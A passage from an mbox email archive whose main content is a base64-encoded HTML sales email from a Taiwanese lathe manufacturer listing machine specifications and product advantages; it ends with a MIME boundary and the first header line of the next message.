IENPTE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENhbGlicmk7IG1zby1mYXJlYXN0 LWZvbnQtZmFtaWx5OiDntLDmmI7pq5Q7IG1zby1mb250LWtlcm5pbmc6IDBwdCIgbGFuZz1FTi1V Uz5TcGluZGxlIGJvcmU6IEEtLS01OC8gODAob3ApIG1tOyBCLS0tODUgbW07IFgtLS04NS8xMjAo b3ApIG1tPG86cD48L286cD48L1NQQU4+PC9TUEFOPjwvU1BBTj48L1A+DQo8UCBzdHlsZT0iTUFS R0lOOiAwY20gMGNtIDBwdDsgbXNvLXBhZ2luYXRpb246IHdpZG93LW9ycGhhbiIgY2xhc3M9TXNv Tm9ybWFsPjxTUEFOIHN0eWxlPSJtc28tYm9va21hcms6IE9MRV9MSU5LMSI+PFNQQU4gc3R5bGU9 Im1zby1ib29rbWFyazogT0xFX0xJTksyIj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IENhbGli cmk7IENPTE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENhbGlicmk7IG1zby1mYXJl YXN0LWZvbnQtZmFtaWx5OiDntLDmmI7pq5Q7IG1zby1mb250LWtlcm5pbmc6IDBwdCIgbGFuZz1F Ti1VUz5CZWQgd2lkdGg6IEEtLS0zMDAgbW07IEItLS0zNTAgbW07IFgtLS00MDAgbW08bzpwPjwv bzpwPjwvU1BBTj48L1NQQU4+PC9TUEFOPjwvUD48U1BBTiBzdHlsZT0ibXNvLWJvb2ttYXJrOiBP TEVfTElOSzIiPjwvU1BBTj48U1BBTiBzdHlsZT0ibXNvLWJvb2ttYXJrOiBPTEVfTElOSzEiPjwv U1BBTj4NCjxQIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0OyBtc28tcGFnaW5hdGlvbjogd2lk b3ctb3JwaGFuIiBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZOiBDYWxp YnJpOyBDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBDYWxpYnJpOyBtc28tZmFy ZWFzdC1mb250LWZhbWlseTog57Sw5piO6auUOyBtc28tZm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9 RU4tVVM+PG86cD4mbmJzcDs8L286cD48L1NQQU4+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNt IDBjbSAwcHQ7IG1zby1wYWdpbmF0aW9uOiB3aWRvdy1vcnBoYW4iIGNsYXNzPU1zb05vcm1hbD48 Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IEFyaWFsOyBDT0xPUjogYmxhY2s7IG1zby1mYXJl YXN0LWZvbnQtZmFtaWx5OiDntLDmmI7pq5Q7IG1zby1mb250LWtlcm5pbmc6IDBwdCIgbGFuZz1F Ti1VUz5JSTogVHJhbnNtaXNzaW9uIEludmVydGVyIExhdGhlPG86cD48L286cD48L1NQQU4+PC9C PjwvUD4NCjxQIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0OyBtc28tcGFnaW5hdGlvbjogd2lk b3ctb3JwaGFuIiBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZOiBDYWxp YnJpOyBDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBDYWxpYnJpOyBtc28tZmFy ZWFzdC1mb250LWZhbWlseTog57Sw5piO6auUOyBtc28tZm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9 RU4tVVM+U3dpbmcgb3ZlciBiZWQ6IDQzMH41MjAgbW08bzpwPjwvbzpwPjwvU1BBTj48L1A+DQo8 UCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdDsgbXNvLXBhZ2luYXRpb246IHdpZG93LW9ycGhh biIgY2xhc3M9TXNvTm9ybWFsPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogQ2FsaWJyaTsgQ09M T1I6IGJsYWNrOyBtc28tYmlkaS1mb250LWZhbWlseTogQ2FsaWJyaTsgbXNvLWZhcmVhc3QtZm9u dC1mYW1pbHk6IOe0sOaYjumrlDsgbXNvLWZvbnQta2VybmluZzogMHB0IiBsYW5nPUVOLVVTPkRp c3RhbmNlIGJldHdlZW4gY2VudGVyczogNTYwIG1tfiAyMDAwIG1tPG86cD48L286cD48L1NQQU4+ PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQ7IG1zby1wYWdpbmF0aW9uOiB3aWRv dy1vcnBoYW4iIGNsYXNzPU1zb05vcm1hbD48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IENhbGli cmk7IENPTE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENhbGlicmk7IG1zby1mYXJl YXN0LWZvbnQtZmFtaWx5OiDntLDmmI7pq5Q7IG1zby1mb250LWtlcm5pbmc6IDBwdCIgbGFuZz1F Ti1VUz5TcGluZGxlIGJvcmU6IDU4fjgwIG1tPG86cD48L286cD48L1NQQU4+PC9QPg0KPFAgc3R5 bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQ7IG1zby1wYWdpbmF0aW9uOiB3aWRvdy1vcnBoYW4iIGNs YXNzPU1zb05vcm1hbD48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IENhbGlicmk7IENPTE9SOiBi bGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENhbGlicmk7IG1zby1mYXJlYXN0LWZvbnQtZmFt aWx5OiDntLDmmI7pq5Q7IG1zby1mb250LWtlcm5pbmc6IDBwdCIgbGFuZz1FTi1VUz5CZWQgd2lk dGg6IDMwMCBtbTxvOnA+PC9vOnA+PC9TUEFOPjwvUD4NCjxQIHN0eWxlPSJNQVJHSU46IDBjbSAw Y20gMHB0OyBtc28tcGFnaW5hdGlvbjogd2lkb3ctb3JwaGFuIiBjbGFzcz1Nc29Ob3JtYWw+PFNQ QU4gc3R5bGU9IkZPTlQtRkFNSUxZOiBDYWxpYnJpOyBDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZv bnQtZmFtaWx5OiBDYWxpYnJpOyBtc28tZmFyZWFzdC1mb250LWZhbWlseTog57Sw5piO6auUOyBt c28tZm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+PG86cD4mbmJzcDs8L286cD48L1NQQU4+ PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQiIGNsYXNzPU1zb05vcm1hbD48Qj48 U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IEFyaWFsOyBCQUNLR1JPVU5EOiB5ZWxsb3c7IG1zby1o aWdobGlnaHQ6IHllbGxvdyIgbGFuZz1FTi1VUz5DOiBQcm9kdWN0IEFkdmFudGFnZTo8L1NQQU4+ PC9CPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogQXJpYWwiIGxhbmc9RU4tVVM+IDxvOnA+ PC9vOnA+PC9TUEFOPjwvQj48L1A+DQo8UCBzdHlsZT0iVEVYVC1JTkRFTlQ6IC0xOHB0OyBNQVJH SU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1saXN0OiBsMCBsZXZlbDEgbGZvMSIgY2xhc3M9YT48 Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IENhbGlicmk7IENPTE9SOiByZWQ7IG1zby1iaWRp LWZvbnQtZmFtaWx5OiBDYWxpYnJpOyBtc28tZmFyZWFzdC1mb250LWZhbWlseTogQ2FsaWJyaSIg bGFuZz1FTi1VUz48U1BBTiBzdHlsZT0ibXNvLWxpc3Q6IElnbm9yZSI+MS48U1BBTiBzdHlsZT0i Rk9OVDogN3B0ICdUaW1lcyBOZXcgUm9tYW4nIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsgPC9TUEFOPjwvU1BBTj48L1NQQU4+PC9CPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTog Q2FsaWJyaTsgQ09MT1I6IHJlZDsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENhbGlicmkiIGxhbmc9 RU4tVVM+RkFHIG9yIFNLRiBwcmVjaXNpb24gYmVhcmluZyBpbnN0YWxsZWQgb24gc3BpbmRsZTxv OnA+PC9vOnA+PC9TUEFOPjwvQj48L1A+DQo8UCBzdHlsZT0iVEVYVC1JTkRFTlQ6IC0xOHB0OyBN QVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1saXN0OiBsMCBsZXZlbDEgbGZvMSIgY2xhc3M9 YT48Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IENhbGlicmk7IENPTE9SOiByZWQ7IG1zby1i aWRpLWZvbnQtZmFtaWx5OiBDYWxpYnJpOyBtc28tZmFyZWFzdC1mb250LWZhbWlseTogQ2FsaWJy aSIgbGFuZz1FTi1VUz48U1BBTiBzdHlsZT0ibXNvLWxpc3Q6IElnbm9yZSI+Mi48U1BBTiBzdHls ZT0iRk9OVDogN3B0ICdUaW1lcyBOZXcgUm9tYW4nIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsgPC9TUEFOPjwvU1BBTj48L1NQQU4+PC9CPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlM WTogQ2FsaWJyaTsgQ09MT1I6IHJlZDsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENhbGlicmkiIGxh bmc9RU4tVVM+TWF4aW11bSBjdXR0aW5nIGRlcHRoOiA4IG1tKCA1MCBtbSBkaWFtZXRlcik8bzpw PjwvbzpwPjwvU1BBTj48L0I+PC9QPg0KPFAgc3R5bGU9IlRFWFQtSU5ERU5UOiAtMThwdDsgTUFS R0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28tbGlzdDogbDAgbGV2ZWwxIGxmbzEiIGNsYXNzPWE+ PEI+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZOiBDYWxpYnJpOyBDT0xPUjogcmVkOyBtc28tYmlk aS1mb250LWZhbWlseTogQ2FsaWJyaTsgbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6IENhbGlicmki IGxhbmc9RU4tVVM+PFNQQU4gc3R5bGU9Im1zby1saXN0OiBJZ25vcmUiPjMuPFNQQU4gc3R5bGU9 IkZPTlQ6IDdwdCAnVGltZXMgTmV3IFJvbWFuJyI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7IDwvU1BBTj48L1NQQU4+PC9TUEFOPjwvQj48Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6 IENhbGlicmk7IENPTE9SOiByZWQ7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBDYWxpYnJpIiBsYW5n PUVOLVVTPkJlc3QgUm91bmRuZXNzOiAzIG1pY3JvbiggMjAwIG1tIGxvbmcpPG86cD48L286cD48 L1NQQU4+PC9CPjwvUD4NCjxQIHN0eWxlPSJURVhULUlOREVOVDogLTE4cHQ7IE1BUkdJTjogMGNt IDBjbSAwcHQgMThwdDsgbXNvLWxpc3Q6IGwwIGxldmVsMSBsZm8xIiBjbGFzcz1hPjxCPjxTUEFO IHN0eWxlPSJGT05ULUZBTUlMWTogQ2FsaWJyaTsgQ09MT1I6IHJlZDsgbXNvLWJpZGktZm9udC1m YW1pbHk6IENhbGlicmk7IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiBDYWxpYnJpIiBsYW5nPUVO LVVTPjxTUEFOIHN0eWxlPSJtc28tbGlzdDogSWdub3JlIj40LjxTUEFOIHN0eWxlPSJGT05UOiA3 cHQgJ1RpbWVzIE5ldyBSb21hbiciPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyA8L1NQ QU4+PC9TUEFOPjwvU1BBTj48L0I+PEI+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZOiBDYWxpYnJp OyBDT0xPUjogcmVkOyBtc28tYmlkaS1mb250LWZhbWlseTogQ2FsaWJyaSIgbGFuZz1FTi1VUz5F cXVpcHBlZCB3aXRoIGEgcGxhc3RpYyByZWFyICwgc2hhZnRzIGFuZCBnZWFycyBpbnNpZGUgaGVh ZCBzdG9jayBhcmUgd2VsbCBwcm90ZWN0ZWQgaWYgY3J1c2ggb2NjdXJyZWQoIEEgc2VyaWVzKTxv OnA+PC9vOnA+PC9TUEFOPjwvQj48L1A+DQo8UCBzdHlsZT0iVEVYVC1JTkRFTlQ6IC0xOHB0OyBN QVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1saXN0OiBsMCBsZXZlbDEgbGZvMSIgY2xhc3M9 YT48Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IENhbGlicmk7IENPTE9SOiByZWQ7IG1zby1i aWRpLWZvbnQtZmFtaWx5OiBDYWxpYnJpOyBtc28tZmFyZWFzdC1mb250LWZhbWlseTogQ2FsaWJy aSIgbGFuZz1FTi1VUz48U1BBTiBzdHlsZT0ibXNvLWxpc3Q6IElnbm9yZSI+NS48U1BBTiBzdHls ZT0iRk9OVDogN3B0ICdUaW1lcyBOZXcgUm9tYW4nIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsgPC9TUEFOPjwvU1BBTj48L1NQQU4+PC9CPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlM WTogQ2FsaWJyaTsgQ09MT1I6IHJlZDsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENhbGlicmkiIGxh bmc9RU4tVVM+VW5pdmVyc2FsIGdlYXIgYm94IGZvciBib3RoIGltcGVyaWFsIGFuZCBtZXRyaWMg dGhyZWFkIGNvbnZlcnNpb24gdGFibGUgYWxzbyBhdHRhY2hlZDxvOnA+PC9vOnA+PC9TUEFOPjwv Qj48L1A+DQo8UCBzdHlsZT0iVEVYVC1JTkRFTlQ6IC0xOHB0OyBNQVJHSU46IDBjbSAwY20gMHB0 IDE4cHQ7IG1zby1saXN0OiBsMCBsZXZlbDEgbGZvMSIgY2xhc3M9YT48Qj48U1BBTiBzdHlsZT0i Rk9OVC1GQU1JTFk6IENhbGlicmk7IENPTE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6 IENhbGlicmk7IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiBDYWxpYnJpIiBsYW5nPUVOLVVTPjxT UEFOIHN0eWxlPSJtc28tbGlzdDogSWdub3JlIj42LjxTUEFOIHN0eWxlPSJGT05UOiA3cHQgJ1Rp bWVzIE5ldyBSb21hbiciPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyA8L1NQQU4+PC9T UEFOPjwvU1BBTj48L0I+PEI+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZOiBDYWxpYnJpOyBDT0xP UjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBDYWxpYnJpIiBsYW5nPUVOLVVTPlRyYWNr cyBvZiBjcm9zcyBzbGlkZSBhbmQgYmVkIGFyZSB3ZWxsIGx1YnJpY2F0ZWQgd2l0aCBsdWJyaWNh dGlvbiBwdW1wKCBtYW51YWwpPG86cD48L286cD48L1NQQU4+PC9CPjwvUD4NCjxQIHN0eWxlPSJU RVhULUlOREVOVDogLTE4cHQ7IE1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNvLWxpc3Q6IGww IGxldmVsMSBsZm8xIiBjbGFzcz1hPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogQ2FsaWJy aTsgQ09MT1I6IGJsYWNrOyBtc28tYmlkaS1mb250LWZhbWlseTogQ2FsaWJyaTsgbXNvLWZhcmVh c3QtZm9udC1mYW1pbHk6IENhbGlicmkiIGxhbmc9RU4tVVM+PFNQQU4gc3R5bGU9Im1zby1saXN0 OiBJZ25vcmUiPjcuPFNQQU4gc3R5bGU9IkZPTlQ6IDdwdCAnVGltZXMgTmV3IFJvbWFuJyI+Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IDwvU1BBTj48L1NQQU4+PC9TUEFOPjwvQj48Qj48 U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IENhbGlicmk7IENPTE9SOiBibGFjazsgbXNvLWJpZGkt Zm9udC1mYW1pbHk6IENhbGlicmkiIGxhbmc9RU4tVVM+T3ZlcmxvYWQgZGV2aWNlIHRvIGVuc3Vy ZSBzYWZldHkgd2hlbiBvcGVyYXRpbmc8bzpwPjwvbzpwPjwvU1BBTj48L0I+PC9QPg0KPFAgc3R5 bGU9IlRFWFQtSU5ERU5UOiAtMThwdDsgTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28tbGlz dDogbDAgbGV2ZWwxIGxmbzEiIGNsYXNzPWE+PEI+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZOiBD YWxpYnJpOyBDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBDYWxpYnJpOyBtc28t ZmFyZWFzdC1mb250LWZhbWlseTogQ2FsaWJyaSIgbGFuZz1FTi1VUz48U1BBTiBzdHlsZT0ibXNv LWxpc3Q6IElnbm9yZSI+OC48U1BBTiBzdHlsZT0iRk9OVDogN3B0ICdUaW1lcyBOZXcgUm9tYW4n Ij4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgPC9TUEFOPjwvU1BBTj48L1NQQU4+PC9C PjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogQ2FsaWJyaTsgQ09MT1I6IGJsYWNrOyBtc28t YmlkaS1mb250LWZhbWlseTogQ2FsaWJyaSIgbGFuZz1FTi1VUz5XZWFyIHJlc2lzdGFudCBwaG9z cGhvciBicm9uemUgbGVhZCBzY3JldyBudXQ8bzpwPjwvbzpwPjwvU1BBTj48L0I+PC9QPg0KPFAg c3R5bGU9IlRFWFQtSU5ERU5UOiAtMThwdDsgTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28t bGlzdDogbDAgbGV2ZWwxIGxmbzEiIGNsYXNzPWE+PEI+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZ OiBDYWxpYnJpOyBDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBDYWxpYnJpOyBt c28tZmFyZWFzdC1mb250LWZhbWlseTogQ2FsaWJyaSIgbGFuZz1FTi1VUz48U1BBTiBzdHlsZT0i bXNvLWxpc3Q6IElnbm9yZSI+OS48U1BBTiBzdHlsZT0iRk9OVDogN3B0ICdUaW1lcyBOZXcgUm9t YW4nIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgPC9TUEFOPjwvU1BBTj48L1NQQU4+ PC9CPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogQ2FsaWJyaTsgQ09MT1I6IGJsYWNrOyBt c28tYmlkaS1mb250LWZhbWlseTogQ2FsaWJyaSIgbGFuZz1FTi1VUz5EdXJhYmxlIHJlc2Vydm9p ciBvaWwgYmF0aCB0eXBlIGNyb3NzKCBzIHNlcmllcyk8bzpwPjwvbzpwPjwvU1BBTj48L0I+PC9Q Pg0KPFAgc3R5bGU9IlRFWFQtSU5ERU5UOiAtMThwdDsgTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0 OyBtc28tbGlzdDogbDAgbGV2ZWwxIGxmbzEiIGNsYXNzPWE+PEI+PFNQQU4gc3R5bGU9IkZPTlQt RkFNSUxZOiBDYWxpYnJpOyBDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBDYWxp YnJpOyBtc28tZmFyZWFzdC1mb250LWZhbWlseTogQ2FsaWJyaSIgbGFuZz1FTi1VUz48U1BBTiBz dHlsZT0ibXNvLWxpc3Q6IElnbm9yZSI+MTAuPFNQQU4gc3R5bGU9IkZPTlQ6IDdwdCAnVGltZXMg TmV3IFJvbWFuJyI+IDwvU1BBTj48L1NQQU4+PC9TUEFOPjwvQj48Qj48U1BBTiBzdHlsZT0iRk9O VC1GQU1JTFk6IENhbGlicmk7IENPTE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENh bGlicmkiIGxhbmc9RU4tVVM+VGhlcm1hbCB0cmVhdGVkIE1FRUhBTklURSBiZWQgY2FzdGluZzxv OnA+PC9vOnA+PC9TUEFOPjwvQj48L1A+DQo8UCBzdHlsZT0iVEVYVC1JTkRFTlQ6IC0xOHB0OyBN QVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1saXN0OiBsMCBsZXZlbDEgbGZvMSIgY2xhc3M9 YT48Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IENhbGlicmk7IENPTE9SOiBibGFjazsgbXNv LWJpZGktZm9udC1mYW1pbHk6IENhbGlicmk7IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiBDYWxp YnJpIiBsYW5nPUVOLVVTPjxTUEFOIHN0eWxlPSJtc28tbGlzdDogSWdub3JlIj4xMS48U1BBTiBz dHlsZT0iRk9OVDogN3B0ICdUaW1lcyBOZXcgUm9tYW4nIj4gPC9TUEFOPjwvU1BBTj48L1NQQU4+ PC9CPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogQ2FsaWJyaTsgQ09MT1I6IGJsYWNrOyBt c28tYmlkaS1mb250LWZhbWlseTogQ2FsaWJyaSIgbGFuZz1FTi1VUz5PbmUtcGllY2UgYmFzZSBm b3IgaGlnaCByaWdpZGl0eSBhbmQgbG93IHZpYnJhdGlvbjxvOnA+PC9vOnA+PC9TUEFOPjwvQj48 L1A+DQo8UCBzdHlsZT0iVEVYVC1JTkRFTlQ6IC0xOHB0OyBNQVJHSU46IDBjbSAwY20gMHB0IDE4 cHQ7IG1zby1saXN0OiBsMCBsZXZlbDEgbGZvMSIgY2xhc3M9YT48Qj48U1BBTiBzdHlsZT0iRk9O VC1GQU1JTFk6IENhbGlicmk7IENPTE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENh bGlicmk7IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiBDYWxpYnJpIiBsYW5nPUVOLVVTPjxTUEFO IHN0eWxlPSJtc28tbGlzdDogSWdub3JlIj4xMi48U1BBTiBzdHlsZT0iRk9OVDogN3B0ICdUaW1l cyBOZXcgUm9tYW4nIj4gPC9TUEFOPjwvU1BBTj48L1NQQU4+PC9CPjxCPjxTUEFOIHN0eWxlPSJG T05ULUZBTUlMWTogQ2FsaWJyaTsgQ09MT1I6IGJsYWNrOyBtc28tYmlkaS1mb250LWZhbWlseTog Q2FsaWJyaSIgbGFuZz1FTi1VUz5IaWdoIGNhcGFjaXR5IGNvb2xhbnQgdGFuayBvZmZlcnMgc3Vm ZmljaWVudCBjb29sYW50IG91dHB1dDxvOnA+PC9vOnA+PC9TUEFOPjwvQj48L1A+DQo8UCBzdHls ZT0iVEVYVC1JTkRFTlQ6IC0xOHB0OyBNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1saXN0 OiBsMCBsZXZlbDEgbGZvMSIgY2xhc3M9YT48Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IENh bGlicmk7IENPTE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENhbGlicmk7IG1zby1m YXJlYXN0LWZvbnQtZmFtaWx5OiBDYWxpYnJpIiBsYW5nPUVOLVVTPjxTUEFOIHN0eWxlPSJtc28t bGlzdDogSWdub3JlIj4xMy48U1BBTiBzdHlsZT0iRk9OVDogN3B0ICdUaW1lcyBOZXcgUm9tYW4n Ij4gPC9TUEFOPjwvU1BBTj48L1NQQU4+PC9CPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTog Q2FsaWJyaTsgQ09MT1I6IGJsYWNrOyBtc28tYmlkaS1mb250LWZhbWlseTogQ2FsaWJyaSIgbGFu Zz1FTi1VUz5BbGwgc2VyaWVzIGNlcnRpZmllZCBmb3IgQ0UgPG86cD48L286cD48L1NQQU4+PC9C PjwvUD4NCjxQIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IiBjbGFzcz1Nc29Ob3JtYWw+PFNQ QU4gbGFuZz1FTi1VUz48bzpwPiZuYnNwOzwvbzpwPjwvU1BBTj48L1A+DQo8UCBzdHlsZT0iTUFS R0lOOiAwY20gMGNtIDBwdCIgY2xhc3M9TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+PG86cD48 L286cD48L1NQQU4+Jm5ic3A7PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQiIGNs YXNzPU1zb05vcm1hbD48U1BBTiBsYW5nPUVOLVVTPjxvOnA+T2YgY291cnNlLCBhcyBsb25nIGFz IHlvdSBoYXZlIGFueSBraW5kIG9mIGxhdGhlIGlucXVpcmllcywgd2UgZGVmaW5pdGVseSBjYW4g ZnVsZmlsbCB5b3VyIG5lZWRzLjwvbzpwPjwvU1BBTj48L1A+DQo8UCBzdHlsZT0iTUFSR0lOOiAw Y20gMGNtIDBwdCIgY2xhc3M9TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+PG86cD48L286cD48 L1NQQU4+Jm5ic3A7PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQiIGNsYXNzPU1z b05vcm1hbD48U1BBTiBsYW5nPUVOLVVTPldlIGRvIGJlbGlldmUgb3VyIHByb2R1Y3RzIGNhbiBm aXQgeW91ciBuaWNoZSBtYXJrZXQgYW5kIGNyZWF0ZSBhIHByb3NwZXJvdXMgdmlzaW9uIGZvciBh bGwgb2YgdXM8L1NQQU4+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQiIGNsYXNz PU1zb05vcm1hbD48U1BBTiBsYW5nPUVOLVVTPlNob3VsZCB5b3UgbmVlZCBvdXIgc2VydmljZSwg cGxlYXNlIGZlZWwgZnJlZSB0byBjb250YWN0IHVzPC9TUEFOPjwvUD4NCjxQIHN0eWxlPSJNQVJH SU46IDBjbSAwY20gMHB0IiBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gbGFuZz1FTi1VUz48bzpwPiZu YnNwOzwvbzpwPjwvU1BBTj48L1A+DQo8UCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCIgY2xh c3M9TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+U2luY2VyZWx5IFlvdXJzLCBXZSByZW1haW48 L1NQQU4+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQiIGNsYXNzPU1zb05vcm1h bD48U1BBTiBsYW5nPUVOLVVTPjxvOnA+Jm5ic3A7PC9vOnA+PC9TUEFOPjwvUD4NCjxQIHN0eWxl PSJNQVJHSU46IDBjbSAwY20gMHB0IiBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gbGFuZz1FTi1VUz5B bXkgQ2hlbjwvU1BBTj48L1A+DQo8UCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCIgY2xhc3M9 TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+PC9TUEFOPiZuYnNwOzwvUD4NCjxQIHN0eWxlPSJN QVJHSU46IDBjbSAwY20gMHB0IiBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gbGFuZz1FTi1VUz5TYWxl cyBNYW5hZ2VyIDwvU1BBTj48L1A+DQo8UCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCIgY2xh c3M9TXNvTm9ybWFsPjxTUEFOIGxhbmc9RU4tVVM+Q29udmVudGlvbmFsIGxhdGhlIFRhaXdhbjwv U1BBTj48L1A+DQo8UCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCIgY2xhc3M9TXNvTm9ybWFs PjxTUEFOIGxhbmc9RU4tVVM+PG86cD48L286cD48L1NQQU4+Jm5ic3A7PC9QPg0KPFAgc3R5bGU9 Ik1BUkdJTjogMGNtIDBjbSAwcHQiIGNsYXNzPU1zb05vcm1hbD48U1BBTiBsYW5nPUVOLVVTPjxv OnA+PC9vOnA+PC9TUEFOPiZuYnNwOzwvUD4NCjxQIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0 IiBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gbGFuZz1FTi1VUz48bzpwPjwvbzpwPjwvU1BBTj4mbmJz cDs8L1A+DQo8UCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCIgY2xhc3M9TXNvTm9ybWFsPjxT UEFOIGxhbmc9RU4tVVM+PG86cD48QSBocmVmPSJtYWlsdG86bXlkYXltYWNoaW5lcnl0d0BnbWFp bC5jb20/c3ViamVjdD1TdWJzY3JpYmUmYW1wO2JvZHk9U3Vic2NyaWJlIHRoaXMgbWFpbCI+U3Vi c2NyaWJlIFRoaXMgTWFpbDwvQT4gPEEgaHJlZj0ibWFpbHRvOm15ZGF5bWFjaGluZXJ5dHdAZ21h aWwuY29tP3N1YmplY3Q9VW5TdWJzY3JpYmUmYW1wO2JvZHk9VW5TdWJzY3JpYmUgVGhpcyBNYWls Ij5VblN1YnNjcmliZSBUaGlzIE1haWw8L0E+Jm5ic3A7PC9vOnA+PC9TUEFOPjwvUD48L0JPRFk+ PC9IVE1MPg0K --=====XGG_hRrG7_xApZBtVT18J9O3bj7vuanvsW_=====-- From lists@colorremedies.com Mon Feb 3 14:51:53 2014 Return-Path: 